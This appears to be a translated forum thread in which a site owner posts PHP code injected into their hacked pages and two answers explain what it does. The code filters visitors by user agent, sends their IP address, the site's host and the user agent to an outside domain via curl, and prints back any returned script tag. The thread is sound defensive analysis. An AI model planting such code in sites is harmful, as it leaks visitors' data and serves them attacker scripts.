Несанкционированный код размещен на веб-страницах
Недавно сайт, с которым я был связан, был взломан несанкционированным кодом, размещенным на нескольких страницах. Мне просто было интересно, сможет ли кто-нибудь пролить свет на то, что именно делает этот код, и какая польза от этого для пользователя, разместившего его на этих страницах.
<?php
#31e3cd#
error_reporting(0); ini_set('display_errors',0); $wp_okpbo35639 = @$_SERVER['HTTP_USER_AGENT'];
if (( preg_match ('/Gecko|MSIE/i', $wp_okpbo35639) && !preg_match ('/bot/i', $wp_okpbo35639))){
$wp_okpbo0935639="http://"."html"."-href".".com/href"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_okpbo35639);
$ch = curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_okpbo0935639);
curl_setopt ($ch, CURLOPT_TIMEOUT, 6); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $wp_35639okpbo = curl_exec ($ch); curl_close($ch);}
if ( substr($wp_35639okpbo,1,3) === 'scr' ){ echo $wp_35639okpbo; }
#/31e3cd#
?>
Выше код, как он появился на страницах. Я поиграл с этим кодом, и он, кажется, получает информацию о пользователе, используя:
$_SERVER['HTTP_USER_AGENT']
Затем он объединяется в URL, похожий на приведенный ниже, но с добавленной в URL информацией пользователя сверху.
http://html-href.com/href/?ip=::1&referer=localhost&ua=
Я знаю, что curl используется при передаче данных, но где именно эта информация отправляется и какова ее цель?
2 ответа
Код выполняет вызов указанного вами URL-адреса, отправляя IP-адрес пользователя, домен вашего сайта и строку userragent пользователя. Затем он печатает на ваш сайт любой код, полученный из запроса cURL. Полученный код может быть любым. Это может быть HTML, JavaScript или любой другой код на стороне клиента. Это, вероятно, не серверный код, так как нет eval()
запуск кода получил.
Он предназначен для браузеров Internet Explorer, Chrome и FireFox, но не для сканеров / ботов.
РЕДАКТИРОВАТЬ: как naththedeveloper указал в своем комментарии, это, кажется, печатать, только если он получает строку, где второй, третий и четвертый символы scr
Это означает, что он, вероятно, печатает на странице, только если получил <script>
тег.
$_SERVER['HTTP_USER_AGENT'] используется для проверки типа веб-браузера (или может быть сканером), из которого клиент запрашивает ресурс на основе URL-адреса. Например, с этим фрагментом preg_match ('/Gecko|MSIE/i', $wp_okpbo35639)
, он используется для проверки, является ли клиентский браузер Firefox(Gecko) или IE(MSIE). Но это не надежный способ определения исходного браузера, так как пользовательские агенты могут быть легко изменены или переключены.